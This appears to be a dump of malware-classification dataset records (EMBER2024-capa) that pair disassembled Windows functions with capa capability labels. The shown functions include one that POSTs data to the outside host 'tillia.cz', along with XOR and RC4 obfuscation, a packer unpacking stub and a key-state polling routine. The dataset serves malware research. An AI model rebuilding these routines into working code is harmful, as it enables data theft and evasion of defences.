joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400022f8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push rbp
mov eax, 0x21f0
call fcn.140003b50
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2180], rcx
lea rax, [rbp + 0x1fc0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jne 0x1400024f0
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x2168], rax
cmp qword [rbp + 0x2168], 0xffffffffffffffff
jne 0x14000236d
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400024f1
lea rcx, [0x14000f040]
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x1fb4], eax
mov word [rbp + 0x1fb0], 2
mov ecx, 0x50
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1fb2], ax
lea rdx, [rbp + 0x1fb0]
mov rax, qword [rbp + 0x2168]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jns 0x1400023e6
mov rax, qword [rbp + 0x2168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400024f1
mov rcx, qword [rbp + 0x2180]
call sub.msvcrt.dll_strlen
mov rcx, rax
lea rax, [rbp + 0xfb0]
mov rdx, qword [rbp + 0x2180]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.POST___HTTP_1.1_r_nHost:_tillia.cz_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:__zu_r_nConnection:_close_r_n_r_n_s
mov edx, 0x1000
mov rcx, rax
call fcn.1400015e4
lea rax, [rbp + 0xfb0]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov ecx, eax
lea rdx, [rbp + 0xfb0]
mov rax, qword [rbp + 0x2168]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
test eax, eax
jns 0x140002475
mov rax, qword [rbp + 0x2168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400024f1
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x2168]
mov r9d, 0
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x2164], eax
cmp dword [rbp + 0x2164], 0xffffffff
jne 0x1400024c5
mov rax, qword [rbp + 0x2168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400024f1
mov eax, dword [rbp + 0x2164]
cdqe
mov byte [rbp + rax - 0x50], 0
mov rax, qword [rbp + 0x2168]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x1400024f1
nop
add rsp, 0x21f0
pop rbp
ret
Function at 0x140002963
Capabilities:
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
lea rax, [rbp - 0x50]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x4c], 2
mov dword [rbp - 0x48], 1
lea rdx, [rbp - 0x58]
lea rax, [rbp - 0x50]
mov r9, rdx
mov r8, rax
mov edx, 0
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
je 0x1400029c4
mov eax, 0
jmp 0x140002a25
mov rax, qword [rbp - 0x58]
mov qword [rbp - 8], rax
jmp 0x140002a07
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 4]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov rdx, rax
lea rcx, [0x14000f040]
call sub.msvcrt.dll_strcpy
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x28]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400029ce
mov rax, qword [rbp - 0x58]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_freeaddrinfo]
call rax
lea rax, [0x14000f040]
sub rsp, 0xffffffffffffff80
pop rbp
ret

Function at 0x140002d80
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140008dd0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140008dd0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x140002df0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x14000f124]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x140002fa0
mov rax, qword [0x14000f128]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140002e3c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140002ec7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x140002e20
mov rcx, r12
call fcn.1400038a0
mov rbp, rax
test rax, rax
je 0x140002ffd
mov rax, qword [0x14000f128]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.1400039d0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14000f128]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002fe2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002ec0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002f50
add dword [0x14000f124], 1
cmp ebx, 8
jae 0x140002ef8
test bl, 4
jne 0x140002fb0
test ebx, ebx
je 0x140002ee9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x140002fd0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x140002ee9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x140002f2a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x14000f128]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002ec0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002d80
xor edi, edi
jmp 0x140002e47
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x140002ee9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x140002ee9
mov rax, qword [0x14000f128]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.140002d80
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140002d80
nop
nop dword [rax]
Function at 0x140003510
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14000f180]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f160]
test rbx, rbx
je 0x140003564
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000355b
test r12, r12
je 0x14000355b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003540
lea rcx, [0x14000f180]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400038a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x14000ba00]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x140003919
mov rcx, r10
call fcn.140003770
test eax, eax
je 0x140003919
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x140003916
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000390d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x140003919
add r8, 0x28
cmp r8, r9
jne 0x1400038f8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x14046a357
Capabilities:
Encode data using xor

Disassembly:
call fcn.14046e588
call fcn.140474e6a
lea rsp, [rsp + 8]
sub rsp, rcx
and rsp, 0xfffffffffffffff0
call fcn.14045ce4b
push 0xffffffffe0b6239f
add r11, 0xc
shl dword [rsp + 3], 0xb5
xor r9d, r9d
test rcx, rcx
lea rsp, [rsp + 8]
je 0x140448be5
mov edx, 0xe19aeb0f
push r10
lea rdx, [0x140476db8]
mov r10d, 0xcb953c89
movzx r10d, byte [rax]
xor r10d, r9d
and r10d, 0xff
push 0x59aef680
mov r10d, dword [rdx + r10*4]
shr r9d, 8
xor r9d, r10d
inc rax
sal byte [rsp + 3], 0xe4
xor r9d, 0x763e28ab
inc dword [rsp + 1]
dec rcx
lea rsp, [rsp + 8]
jne 0x14046a39b
mov r10d, 0xea7ac01
call fcn.140448bd8
call fcn.140478b10
mov ecx, 0xfb941eb7
sar cl, 0x87
not cx
mov rdi, qword [r11]
call fcn.14047fbaf
mov edi, 0x7d35c503
or rdi, rdi
mov cx, word [r10 + rdi - 0x7d35c503]
and di, di
sub rdi, rdi
lea r10, [r10 + rdi*2 + 2]
xor edi, 0xfd271917
sbb dil, 0x1a
and edi, edi
movzx edi, word [r8]
adc r8, 2
xor di, si
jmp 0x14044e49e
Function at 0x140033bb8
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140076b90], eax
call fcn.140033ee0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140076b90], 0
jne case.default.0x140033c0e
mov ecx, 1
call fcn.140033ee0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov bh, 0x12
movabs byte [0x8fb0a6cc17f57fef], al
push rax
add byte [rbp - 0x50], al
invalid
Function at 0x140009f00
Capabilities:
Hash data using djb2

Disassembly:
mov rdx, rcx
mov eax, 0x1505
test rcx, rcx
jne 0x140009f10
xor eax, eax
ret
movzx ecx, byte [rcx]
test cl, cl
je 0x140009f35
nop word [rax + rax]
imul rax, rax, 0x21
movzx ecx, cl
lea rdx, [rdx + 1]
add rax, rcx
movzx ecx, byte [rdx]
test cl, cl
jne 0x140009f20
ret

Function at 0x14000cb00
Capabilities:
Encode data using xor

Disassembly:
test r9, r9
je 0x14000cb7b
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, r9
mov rbp, r8
mov rbx, rdx
mov rsi, rcx
test rdx, rdx
je 0x14000cb51
sub rbp, rdx
nop dword [rax]
mov rcx, rsi
call fcn.14000cc40
xor al, byte [rbx + rbp]
movzx edx, al
mov byte [rbx], al
call fcn.14000cc60
lea rbx, [rbx + 1]
sub rdi, 1
jne 0x14000cb30
jmp 0x14000cb67
xor ebx, ebx
movzx edx, byte [rbx + rbp]
mov rcx, rsi
call fcn.14000cc60
inc rbx
cmp rbx, rdi
jb 0x14000cb53
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14000cb80
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
test r9, r9
je 0x14000cc19
mov qword [rsp + 0x18], rbp
push rsi
push r14
push r15
sub rsp, 0x20
mov qword [rsp + 0x40], rbx
mov rbp, r9
mov r15, r8
mov rsi, rdx
mov r14, rcx
test rdx, rdx
je 0x14000cbef
mov qword [rsp + 0x48], rdi
sub r15, rdx
nop word [rax + rax]
movzx edi, byte [r15 + rsi]
mov rcx, r14
call fcn.14000cc40
movzx edx, dil
movzx ebx, al
call fcn.14000cc60
xor bl, dil
mov byte [rsi], bl
lea rsi, [rsi + 1]
sub rbp, 1
jne 0x14000cbc0
mov rdi, qword [rsp + 0x48]
jmp 0x14000cc06
xor ebx, ebx
movzx edx, byte [rbx + r15]
mov rcx, r14
call fcn.14000cc60
inc rbx
cmp rbx, rbp
jb 0x14000cbf1
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rsi
ret

Function at 0x14000cc60
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov byte [rsp + 0x10], dl
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rdx, [rsp + 0x38]
mov ecx, dword [rcx]
mov r8d, 1
not ecx
call fcn.14000d930
not eax
lea rdx, [rsp + 0x38]
mov dword [rbx], eax
mov r8d, 1
movzx eax, al
add eax, dword [rbx + 4]
imul ecx, eax, 0x8088405
inc ecx
mov dword [rbx + 4], ecx
shr ecx, 0x18
mov byte [rsp + 0x38], cl
mov ecx, dword [rbx + 8]
not ecx
call fcn.14000d930
not eax
mov dword [rbx + 8], eax
add rsp, 0x20
pop rbx
ret

Function at 0x14000ccc0
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
sub rsp, 0x58
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x60]
xor r9d, r9d
mov dword [rsp + 0x48], r9d
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x10
mov qword [rsp + 0x30], r8
lea r8d, [r9 + 0x10]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r9
call sub.bcrypt.dll_BCryptEncrypt
shr eax, 0x1f
xor al, 1
add rsp, 0x58
ret

Function at 0x14000cea0
Capabilities:
Hash data via bcrypt

Disassembly:
sub rsp, 0x28
test rcx, rcx
je 0x14000cec9
mov eax, 0xffffffff
cmp r8, rax
ja 0x14000cec9
mov rcx, qword [rcx + 8]
xor r9d, r9d
call sub.bcrypt.dll_BCryptHashData
shr eax, 0x1f
xor al, 1
add rsp, 0x28
ret
xor al, al
add rsp, 0x28
ret
Function at 0x14000d1b0
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x28
movzx r8d, dx
mov r9d, 2
mov rdx, rcx
xor ecx, ecx
call sub.bcrypt.dll_BCryptGenRandom
shr eax, 0x1f
xor al, 1
add rsp, 0x28
ret
Function at 0x14000dd00
Capabilities:
Hash data with crc32

Disassembly:
mov r8d, ecx
lea r9, [0x140017170]
shr r8d, 8
movzx ecx, cl
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx edx, r8b
shr r8d, 8
xor r8d, dword [r9 + rdx*4]
mov eax, r8d
ret
Function at 0x140015674
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400156be
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400156be
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400156be
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400156be
cmp dword [rcx + 0x84], 0xe
jbe 0x1400156be
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400156c0
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
mov ecx, 1
sub eax, edx
sar eax, 1
mov ebp, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
mov r14d, eax
call qword [sym.imp.USER32.dll_GetDC]
mov rsi, rax
xor r15d, r15d
nop word [rax + rax]
lea r8d, [r14 + 2]
mov rcx, rsi
lea edx, [rbp + 2]
call qword [sym.imp.GDI32.dll_GetPixel]
mov ecx, 0xa4
mov ebx, eax
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x140001169
mov byte [0x14000566c], 1
movzx edi, bl
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8d, [r14 + 2]
mov rcx, rsi
lea edx, [rbp + 2]
call qword [sym.imp.GDI32.dll_GetPixel]
movzx ecx, al
mov edx, edi
sub edx, ecx
mov ecx, edx
neg ecx
cmovs ecx, edx
cmp ecx, 0x14
jg 0x1400010f9
movzx edx, bx
shr edx, 8
movzx ecx, ax
shr ecx, 8
sub edx, ecx
mov ecx, edx
neg ecx
cmovs ecx, edx
cmp ecx, 0x14
jg 0x1400010f9
shr eax, 0x10
movzx ecx, al
mov eax, ebx
shr eax, 0x10
movzx edx, al
sub edx, ecx
mov eax, edx
neg eax
cmovs eax, edx
cmp eax, 0x14
mov eax, 1
jle 0x1400010fc
mov eax, r15d
test eax, eax
je 0x14000110b
cmp byte [0x14000566c], 1
je 0x140001090
jmp 0x140001169
xorps xmm0, xmm0
mov qword [rsp + 0x24], r15
mov r8d, 0x28
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x2c], r15
mov ecx, 2
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x4c], r15
mov qword [rsp + 0x54], r15
mov dword [rsp + 0x20], r15d
mov dword [rsp + 0x34], 2
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x5c], 4
call qword [sym.imp.USER32.dll_SendInput]
mov byte [0x14000566c], r15b
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
js 0x140001189
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001060
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1400011d0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001a98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ae2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ae2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ae2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ae2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ae2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ae4
xor al, al
add rsp, 0x28
ret
Function at 0x180606058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1806061df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180606089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18060606f
add dl, dl
jne 0x180606096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1806060f6
xor eax, eax
add dl, dl
jne 0x1806060a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1806061ad
add dl, dl
jne 0x1806060b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806060c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806060d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1806060dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1806060ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18060607e
mov eax, 1
add dl, dl
jne 0x180606106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180606113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1806060fb
sub eax, ebx
mov ebx, 1
jne 0x18060614c
mov ecx, 1
add dl, dl
jne 0x18060612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18060613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180606123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18060607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180606168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180606175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18060615d
cmp eax, 0x7d00
jae 0x18060619b
cmp eax, 0x500
jb 0x180606196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18060607e
cmp eax, 0x7f
ja 0x18060619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18060607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1806061d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18060607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1cc0dc0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1cc0dcd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1cc0ddd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1cc0dc5
lea eax, [rcx + 1]
jmp 0x1cc0deb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1cc0dfe
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1cc0de4
sub eax, 3
jb 0x1cc0e1e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1cc0e6d
sar eax, 1
movsxd rbp, eax
jb 0x1cc0e54
jmp 0x1cc0e2c
add ebx, ebx
jne 0x1cc0e2a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1cc0e54
inc ecx
add ebx, ebx
jne 0x1cc0e3a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1cc0e54
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1cc0e4d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1cc0e3c
add ecx, 2
jmp 0x1cc0e59
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.01cc0d82
jmp 0x1cc0dcd
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x18a4000]
mov eax, dword [rdi]
or eax, eax
je 0x1cc0ec9
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x18c0000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1cc0e79
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1cc0ec3
mov qword [rbx], rax
add rbx, 8
jmp 0x1cc0e99
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1cc0f0d
cmp al, 0xef
ja 0x1cc0ef5
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1cc0ed5
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1cc0ee4
mov eax, dword [rdi]
add rdi, 4
jmp 0x1cc0ee4
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1cc0f61
sub rsp, 0xffffffffffffff80
jmp 0x46dd20
Function at 0x1400111f9
Capabilities:
Terminate process

Disassembly:
jmp 0x140012ec0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001127b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014210
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014230
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014243
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001426d
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014281
xor al, al
jmp 0x1400142b1
mov rax, qword [rsp + 0x28]
